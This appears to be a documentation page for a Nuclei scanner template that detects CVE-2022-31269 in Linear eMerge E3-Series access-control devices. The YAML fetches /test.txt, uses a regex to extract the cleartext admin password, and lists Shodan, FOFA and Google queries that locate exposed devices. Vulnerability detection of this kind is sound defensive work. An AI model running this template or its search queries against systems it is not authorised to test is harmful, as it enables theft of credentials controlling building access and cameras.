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Linear eMerge E3-Series - Information Disclosure

ID: CVE-2022-31269

Severity: high

Author: For3stCo1d

Tags: cve,cve2022,emerge,exposure,packetstorm,nortekcontrol

Description

Section titled “Description”

Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.

YAML Source

Section titled “YAML Source”
id: CVE-2022-31269


info:
  name: Linear eMerge E3-Series - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html
    - https://www.nortekcontrol.com/access-control/
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31269
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-31269
    cwe-id: CWE-798
    epss-score: 0.00284
    epss-percentile: 0.68595
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"Linear eMerge"
      - http.title:"emerge"
      - http.title:"linear emerge"
    fofa-query:
      - title="emerge"
      - title="linear emerge"
    google-query:
      - intitle:"linear emerge"
      - intitle:"emerge"
  tags: cve,cve2022,emerge,exposure,packetstorm,nortekcontrol


http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID="
          - "Password="
        condition: and


      - type: word
        part: header
        words:
          - text/plain


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - Password='(.+?)'
# digest: 4b0a00483046022100a4b2c6ef02efa0fba20c6ce90dcd4d7b1b65fc672d9d36b48f57a03809e5d8c3022100bb94dbcd323d020a17e1744b67e19b8e98c017c5468fdc99ff9a3f59fd178f23:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31269.yaml"

View on Github